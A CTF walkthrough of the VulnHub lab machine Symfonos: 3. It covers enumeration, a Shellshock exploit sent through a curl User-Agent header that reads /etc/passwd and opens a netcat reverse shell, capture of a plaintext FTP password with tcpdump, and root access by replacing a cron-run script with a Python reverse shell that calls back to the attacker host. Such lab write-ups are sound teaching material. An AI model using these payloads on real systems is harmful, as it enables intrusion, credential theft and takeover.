Name : Symfonos: 3 Difficulty : Intermediate Type : boot2root Source : VulnHub URL : https://www.vulnhub.com/entry/symfonos-3,332/ Entry : 12 / 30

Welcome to the walkthrough for Symfonos: 3, a boot2root CTF found on VulnHub. This is the twelfth VM in my VulnHub Challenge, and the second in the “intermediate” category! These intermediate machines are more challenging than beginner machines and should represent a similar challenge to those found in the OSCP labs.

The Symfonos family of virtual machines are more recent entries, with Symfonos: 3 being released on July 20, 2019.

I really hated this VM. There isn’t really anything particularly difficult with this one, but there are so many blasted rabbit holes to distract you that it drove me nuts. To keep things simple I’m going to only mention them in passing rather than dwell on them.

Goal

As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root directory.

Setup

I’m using VMWare player to host Kali and the Symfonos: 3 image, with both VMs running in a NAT network.

Discovery

I use netdiscover to search for the IP address of the target VM:

root@dante:~# netdiscover -r 192.168.127.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.127.1 00:50:56:c0:00:08 1 60 VMware, Inc. 192.168.127.2 00:50:56:ee:35:86 1 60 VMware, Inc. 192.168.127.131 00:0c:29:45:ca:93 1 60 VMware, Inc. 192.168.127.254 00:50:56:f4:c9:28 1 60 VMware, Inc.

So it looks like 192.168.127.131 is our target IP, given the IP for my Kali machine is 192.168.127.129 .

Scanning

I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap 192.168.127.131 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 22:08 EDT Nmap scan report for 192.168.127.131 Host is up (0.00012s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:45:CA:93 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds root@dante:~# nmap -sC -sV -p21,22,80 192.168.127.131 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 22:08 EDT Nmap scan report for 192.168.127.131 Host is up (0.00083s latency). PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5b 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA) | 256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA) |_ 256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). MAC Address: 00:0C:29:45:CA:93 (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds

No SMB server this time, but there is an FTP server and a web server, as well as SSH. Since I haven’t found any usernames yet, it only makes sense to start with the web server.

Web Reconnaissance

I’ll start by using curl to see what’s on the default page:

root@dante:~# curl -v http://192.168.127.131/ * Trying 192.168.127.131:80... * TCP_NODELAY set * Connected to 192.168.127.131 (192.168.127.131) port 80 (#0) > GET / HTTP/1.1 > Host: 192.168.127.131 > User-Agent: curl/7.66.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 17 Oct 2019 10:37:55 GMT < Server: Apache/2.4.25 (Debian) < Last-Modified: Sat, 20 Jul 2019 05:19:54 GMT < ETag: "f1-58e15fe4052c8" < Accept-Ranges: bytes < Content-Length: 241 < Vary: Accept-Encoding < Content-Type: text/html < <html> <head> <style> html,body{ margin:0; height:100%; } img{ display:block; width:100%; height:100%; object-fit: cover; } </style> </head> <body> <img src="image.jpg"> <!-- Can you bust the underworld? --> </body> </html> * Connection #0 to host 192.168.127.131 left intact

Interesting comment at the end there, Can you bust the underworld? I believe I can!

The image that is displayed is the same as the title image for this writeup, so I won’t repeat that here. Since I have no other leads, I’m going to switch to gobuster to see if I can brute force any paths/files on the web server.

Down the rabbit hole

I’ll start with gobuster and the /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt wordlist (a favourite of mine):

root@dante:~# gobuster dir -f -t 50 -x html -u http://192.168.127.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://192.168.127.131 [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: html [+] Add Slash: true [+] Timeout: 10s =============================================================== 2019/10/17 06:45:37 Starting gobuster =============================================================== /icons/ (Status: 403) /index.html (Status: 200) /cgi-bin/ (Status: 403) /gate/ (Status: 200) /server-status/ (Status: 403) =============================================================== 2019/10/17 06:46:20 Finished ===============================================================

This is where I hit my first rabbit hole. I noticed that only the /gate/ path returned an HTTP 200 response, so I repeated my gobuster search, but starting from http://192.168.127.131/gate/ . This will lead you down a whole lot of false positives that will get you nowhere.

After a few tries at this, I noticed that the original scan had an HTTP 403 response code for /cgi-bin/ , which is uncommon but is a great indicator that there may be some type of CGI application running on the machine. Re-running gobuster with this new path is more fruitful:

root@dante:~# gobuster dir -f -t 50 -x html -u http://192.168.127.131/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://192.168.127.131/cgi-bin/ [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: html [+] Add Slash: true [+] Timeout: 10s =============================================================== 2019/10/17 06:49:49 Starting gobuster =============================================================== /underworld/ (Status: 200) =============================================================== 2019/10/17 06:50:34 Finished ===============================================================

Wonderful, much more reasonable! Using curl again to examine this URL shows something rather simple:

* Trying 192.168.127.131:80... * TCP_NODELAY set * Connected to 192.168.127.131 (192.168.127.131) port 80 (#0) > GET /cgi-bin/underworld HTTP/1.1 > Host: 192.168.127.131 > User-Agent: curl/7.66.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 17 Oct 2019 11:13:16 GMT < Server: Apache/2.4.25 (Debian) < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: text/html < 06:13:16 up 2 days, 5:54, 0 users, load average: 0.00, 0.09, 0.90 * Connection #0 to host 192.168.127.131 left intact

Looks to be the output from the uptime command, which is a standard application installed on Linux. Plus it’s being hosted in the cgi-bin directory. I immediately think of Shellshock, so I try running another simple curl command to verify if it’s vulnerable or not:

oot@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://192.168.127.131/cgi-bin/underworld root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false Debian-exim:x:105:109::/var/spool/exim4:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false sshd:x:107:65534::/run/sshd:/usr/sbin/nologin hades:x:1000:1000:,,,:/home/hades:/bin/bash cerberus:x:1001:1001:,,,:/home/cerberus:/bin/bash proftpd:x:108:65534::/run/proftpd:/bin/false ftp:x:109:65534::/srv/ftp:/bin/false

Oh yeah, it’s susceptible to Shellshock. Not only that, but I have two new users I can spot! I’m going to use this to kick off a nice reverse shell. I’ll setup my listener on port 9001 using nc , then use curl to kick off the actual exploit:

root@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://192.168.127.131/cgi-bin/underworld /bin/nc root@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/nc -e /bin/bash 192.168.127.129 9001" http://192.168.127.131/cgi-bin/underworld

As for my listener, after I get a connection I immediately upgrade to a proper TTY session and set some environment variables to make life easier for myself:

root@dante:~# nc -nvlp 9001 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 192.168.127.131. Ncat: Connection from 192.168.127.131:50994. python -c "import pty;pty.spawn('/bin/bash')" cerberus@symfonos3:/usr/lib/cgi-bin$ cd /home/cerberus cd /home/cerberus cerberus@symfonos3:/home/cerberus$ export TERM=screen export TERM=screen cerberus@symfonos3:/home/cerberus$ ls -al ls -al total 20 drwxr-xr-x 2 cerberus cerberus 4096 Jul 20 05:31 . drwxr-xr-x 4 root root 4096 Jul 20 01:10 .. lrwxrwxrwx 1 root root 9 Jul 20 05:31 .bash_history -> /dev/null -rw-r--r-- 1 cerberus cerberus 220 Jul 20 01:10 .bash_logout -rw-r--r-- 1 cerberus cerberus 3526 Jul 20 01:10 .bashrc -rw-r--r-- 1 cerberus cerberus 675 Jul 20 01:10 .profile cerberus@symfonos3:/home/cerberus$

So, nothing in /home/cerberus , but that’s okay. I’m on the machine, so now it’s time to dig!

Enumeration - Part 1

I turn to my usual standby tool, LinEnum.sh . Unfortunately when I run it, I get nothing of value from the output! Very disappointing, so I won’t bore you with the output here.

Remember when I said that there were a lot of rabbit holes when using gobuster earlier? I wasn’t lying:

cerberus@symfonos3:/home/cerberus$ cd /var/www/html cd /var/www/html cerberus@symfonos3:/var/www/html$ ls ls gate image.jpg index.html cerberus@symfonos3:/var/www/html$ find . -type d find . -type d . ./gate ./gate/cerberus ./gate/cerberus/tartarus ./gate/cerberus/tartarus/titanomachy ./gate/cerberus/tartarus/hecatoncheires ./gate/cerberus/tartarus/thejudges ./gate/cerberus/tartarus/hermes ./gate/cerberus/tartarus/phlegethon ./gate/cerberus/tartarus/charon ./gate/cerberus/tartarus/cocytus ./gate/cerberus/tartarus/acheron cerberus@symfonos3:/var/www/html$

These are all the different directories you could have fallen down looking for a possible way in. Thankfully I only went down like 3-4 of them myself. Sigh.

Enumeration - Part 2

I could not find anything of use for myself. I did, however, stumble across something interesting when I was looking for files owned by the other user, hades :

cerberus@symfonos3:/home/cerberus$ find / -user hades 2> /dev/null find / -user hades 2> /dev/null /srv/ftp /srv/ftp/statuscheck.txt /opt/ftpclient /home/hades /home/hades/.bashrc /home/hades/.profile /home/hades/.bash_logout /home/hades/.nano /proc/47803 /proc/47803/task /proc/47803/task/47803 /proc/47803/task/47803/net /proc/47803/task/47803/attr /proc/47803/net /proc/47803/attr

Let’s Spy on Processes

The interesting one is the /opt/ftpclient , since the directory is owned by hades and I currently cannot get into it. I decided to try downloading a great utility called pspy that allows you to watch for processes (process spy, get it?). I’m curious if this /opt/ftpclient directory is ever used:

cerberus@symfonos3:/dev/shm$ wget http://192.168.127.129/pspy32 wget http://192.168.127.129/pspy32 --2019-10-17 19:27:51-- http://192.168.127.129/pspy32 Connecting to 192.168.127.129:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2656352 (2.5M) [application/octet-stream] Saving to: 'pspy32' pspy32 100%[===================>] 2.53M --.-KB/s in 0.02s 2019-10-17 19:27:51 (157 MB/s) - 'pspy32' saved [2656352/2656352] cerberus@symfonos3:/dev/shm$ chmod 755 pspy32 chmod 755 pspy32 cerberus@symfonos3:/dev/shm$ ./pspy32 ./pspy32 pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2019/10/17 19:28:02 CMD: UID=0 PID=9697 | 2019/10/17 19:28:02 CMD: UID=0 PID=9 | 2019/10/17 19:28:02 CMD: UID=105 PID=808 | /usr/sbin/exim4 -bd -q30m 2019/10/17 19:28:02 CMD: UID=0 PID=8 | 2019/10/17 19:28:02 CMD: UID=0 PID=78 | 2019/10/17 19:28:02 CMD: UID=0 PID=77 | 2019/10/17 19:28:02 CMD: UID=0 PID=76 | 2019/10/17 19:28:02 CMD: UID=0 PID=704 | /usr/bin/python3 /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -x -b 2019/10/17 19:28:02 CMD: UID=0 PID=700 | /sbin/dhclient -4 -v -pf /run/dhclient.ens33.pid -lf /var/lib/dhcp/dhclient.ens33.leases -I -df /var/lib/dhcp/dhclient6.ens33.leases ens33 2019/10/17 19:28:02 CMD: UID=0 PID=7 | 2019/10/17 19:28:02 CMD: UID=102 PID=62427 | /lib/systemd/systemd-resolved 2019/10/17 19:28:02 CMD: UID=0 PID=5 | 2019/10/17 19:28:02 CMD: UID=0 PID=47803 | proftpd: (accepting connections) 2019/10/17 19:28:02 CMD: UID=0 PID=460 | /sbin/dhclient -nw 2019/10/17 19:28:02 CMD: UID=0 PID=440 | /usr/sbin/sshd -D 2019/10/17 19:28:02 CMD: UID=0 PID=42 | 2019/10/17 19:28:02 CMD: UID=0 PID=41 | 2019/10/17 19:28:02 CMD: UID=0 PID=398 | /sbin/agetty --noclear tty1 linux 2019/10/17 19:28:02 CMD: UID=1001 PID=39007 | ./pspy32 2019/10/17 19:28:02 CMD: UID=0 PID=38982 | 2019/10/17 19:28:02 CMD: UID=0 PID=38960 | 2019/10/17 19:28:02 CMD: UID=1001 PID=38942 | /bin/bash 2019/10/17 19:28:02 CMD: UID=1001 PID=38941 | python -c import pty;pty.spawn('/bin/bash') 2019/10/17 19:28:02 CMD: UID=1001 PID=38927 | bash 2019/10/17 19:28:02 CMD: UID=0 PID=38876 | 2019/10/17 19:28:02 CMD: UID=0 PID=38788 | 2019/10/17 19:28:02 CMD: UID=0 PID=386 | /lib/systemd/systemd-logind 2019/10/17 19:28:02 CMD: UID=0 PID=384 | /usr/sbin/cron -f 2019/10/17 19:28:02 CMD: UID=0 PID=381 | /usr/sbin/rsyslogd -n 2019/10/17 19:28:02 CMD: UID=106 PID=346 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation 2019/10/17 19:28:02 CMD: UID=0 PID=3 | 2019/10/17 19:28:02 CMD: UID=1001 PID=29899 | /usr/sbin/apache2 -k start ... <snip> ... 2019/10/17 19:28:02 CMD: UID=0 PID=1 | /sbin/init 2019/10/17 19:28:20 CMD: UID=0 PID=39028 | 2019/10/17 19:29:01 CMD: UID=0 PID=39029 | /usr/sbin/CRON -f 2019/10/17 19:29:01 CMD: UID=0 PID=39030 | /usr/sbin/CRON -f 2019/10/17 19:29:01 CMD: UID=0 PID=39031 | /bin/sh -c /usr/bin/curl --silent -I 127.0.0.1 > /opt/ftpclient/statuscheck.txt 2019/10/17 19:30:01 CMD: UID=0 PID=39033 | /usr/sbin/CRON -f 2019/10/17 19:30:01 CMD: UID=0 PID=39032 | /usr/sbin/cron -f 2019/10/17 19:30:01 CMD: UID=0 PID=39034 | /usr/sbin/CRON -f 2019/10/17 19:30:01 CMD: UID=0 PID=39035 | /usr/sbin/CRON -f 2019/10/17 19:30:01 CMD: UID=0 PID=39036 | /bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py <snip>

Again, I had to be patient to find something useful. In this case it paid off. There are two things I’ve noticed:

fail2ban is running, meaning I likely won’t be able to brute force FTP or SSH so I’ll have to try another approach. The /opt/ftpclient/ftpclient.py application seems to be run at regular intervals, and seems to be run by root ( UID=0 in the output), so that means there’s likely a cron job. And since there are no other FTP servers aside from the one locally, I may be able to find what I’m looking for with some wire sniffing…

Enumeration - Part 3

Oh please let there be something like tcpdump or tshark available locally on this machine:

cerberus@symfonos3:/home/cerberus$ which tshark which tshark cerberus@symfonos3:/home/cerberus$ which tcpdump which tcpdump /usr/local/bin/tcpdump

YES!!! Now I’m in business! The tcpdump tool will allow me to monitor the network traffic. Since I have a python application that’s likely communicating to an FTP server on the local machine, I’m just going to monitor for all traffic going over port 21 over the interface lo , which is the loopback interface that listens for connections to 127.0.0.1 . That’s likely the IP being used to target the local FTP server from the script:

cerberus@symfonos3:/home/cerberus$ tcpdump -v -i lo port 21 tcpdump -v -i lo port 21 tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes 19:54:01.640732 IP (tos 0x0, ttl 64, id 2284, offset 0, flags [DF], proto TCP (6), length 60) localhost.49446 > localhost.ftp: Flags [S], cksum 0xfe30 (incorrect -> 0x75bf), seq 1537805288, win 43690, options [mss 65495,sackOK,TS val 60752644 ecr 0,nop,wscale 7], length 0 19:54:01.640743 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60) localhost.ftp > localhost.49446: Flags [S.], cksum 0xfe30 (incorrect -> 0xec98), seq 1777604734, ack 1537805289, win 43690, options [mss 65495,sackOK,TS val 60752644 ecr 60752644,nop,wscale 7], length 0 19:54:01.640751 IP (tos 0x0, ttl 64, id 2285, offset 0, flags [DF], proto TCP (6), length 52) localhost.49446 > localhost.ftp: Flags [.], cksum 0xfe28 (incorrect -> 0xbedd), ack 1, win 342, options [nop,nop,TS val 60752644 ecr 60752644], length 0 19:54:01.648570 IP (tos 0x0, ttl 64, id 7035, offset 0, flags [DF], proto TCP (6), length 107) localhost.ftp > localhost.49446: Flags [P.], cksum 0xfe5f (incorrect -> 0x117c), seq 1:56, ack 1, win 342, options [nop,nop,TS val 60752646 ecr 60752644], length 55: FTP, length: 55 220 ProFTPD 1.3.5b Server (Debian) [::ffff:127.0.0.1] 19:54:01.648622 IP (tos 0x0, ttl 64, id 2286, offset 0, flags [DF], proto TCP (6), length 52) localhost.49446 > localhost.ftp: Flags [.], cksum 0xfe28 (incorrect -> 0xbea2), ack 56, win 342, options [nop,nop,TS val 60752646 ecr 60752646], length 0 19:54:01.648679 IP (tos 0x0, ttl 64, id 2287, offset 0, flags [DF], proto TCP (6), length 64) localhost.49446 > localhost.ftp: Flags [P.], cksum 0xfe34 (incorrect -> 0x2f9f), seq 1:13, ack 56, win 342, options [nop,nop,TS val 60752646 ecr 60752 646], length 12: FTP, length: 12 USER hades 19:54:01.648682 IP (tos 0x0, ttl 64, id 7036, offset 0, flags [DF], proto TCP (6), length 52) localhost.ftp > localhost.49446: Flags [.], cksum 0xfe28 (incorrect -> 0xbe96), ack 13, win 342, options [nop,nop,TS val 60752646 ecr 60752646], length 0 19:54:01.652181 IP (tos 0x0, ttl 64, id 7037, offset 0, flags [DF], proto TCP (6), length 85) localhost.ftp > localhost.49446: Flags [P.], cksum 0xfe49 (incorrect -> 0xb839), seq 56:89, ack 13, win 342, options [nop,nop,TS val 60752647 ecr 60752646], length 33: FTP, length: 33 331 Password required for hades 19:54:01.652261 IP (tos 0x0, ttl 64, id 2288, offset 0, flags [DF], proto TCP (6), length 75) localhost.49446 > localhost.ftp: Flags [P.], cksum 0xfe3f (incorrect -> 0x1cb2), seq 13:36, ack 89, win 342, options [nop,nop,TS val 60752647 ecr 60752647], length 23: FTP, length: 23 PASS PTpZTfU4vxgzvRBE <snip>

Again, a bit of patience but it pays off. I can see that the password for hades is PTpZTfU4vxgzvRBE . Aren’t plain-text protocols like FTP wonderful? ;-)

SSH as hades

Let’s see if hades uses the same password for SSH:

root@dante:~# ssh hades@192.168.127.131 The authenticity of host '192.168.127.131 (192.168.127.131)' can't be established. ECDSA key fingerprint is SHA256:Q5ddgsdCSuSXrLgf+oVAwhdHy5e7atU6gZzISbrzU94. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.127.131' (ECDSA) to the list of known hosts. hades@192.168.127.131's password: Linux symfonos3 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. No mail. Last login: Thu Oct 17 19:58:25 2019 from 192.168.127.129 hades@symfonos3:~$

Yes. Yes he does. Awesome. At this point I tried running LinEnum.sh again, but no luck. However, I already know that there is a cron job that calls the /opt/ftpclient/ftpclient.py , and that it is run as root . This is from the pspy32 output earlier. I decide the easiest approach is to just replace the /opt/ftpclient/ftpclient.py file with my own, using a simple Python reverse shell that I get from PenTestMonkey:

import socket,subprocess,os s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.127.129",9002)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p = subprocess.call(["/bin/sh","-i"])

Using this code instead of the existing code in /opt/ftpclient/ftpclient.py , setting up a simple Netcat listener on my Kali machine, ad a bit of patience leaves me with a wonderful result:

root@dante:~# nc -nvlp 9002 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9002 Ncat: Listening on 0.0.0.0:9002 Ncat: Connection from 192.168.127.131. Ncat: Connection from 192.168.127.131:38682. /bin/sh: 0: can't access tty; job control turned off # whoami root

Get the Flag

Now that I’ve escalated to root , all that’s left is to grab the flag:

# cd /root # ls proof.txt # cat proof.txt Congrats on rooting symfonos:3! _._ _/,__\, __/ _/o'o / '-.___'/ __ /__ /\ )__/_))\ /_/, __,____ // '-.____|--' \\ e,e / // /___/| |/ \/\ \\ 'o /))) : \___\| / , \/ \\ -' \\__,_/| \/ / \ \\ \_\| \/ \ \\ | || < '_ \ \\ | || / ,| / / \\ | || | / | /\ \\ | || \_/ | | | \\ | ||_______________,' |__/ \ \\ \|/_______________\___/______\_ \\ \________________________ \__ \\ ___ \________________________ _\_____ \\ _____/ \________________________ \\ ~~~~~~~ / ~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~ ~~~~\\~~~~ ~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Contact me via Twitter @zayotic to give feedback! #

Fin.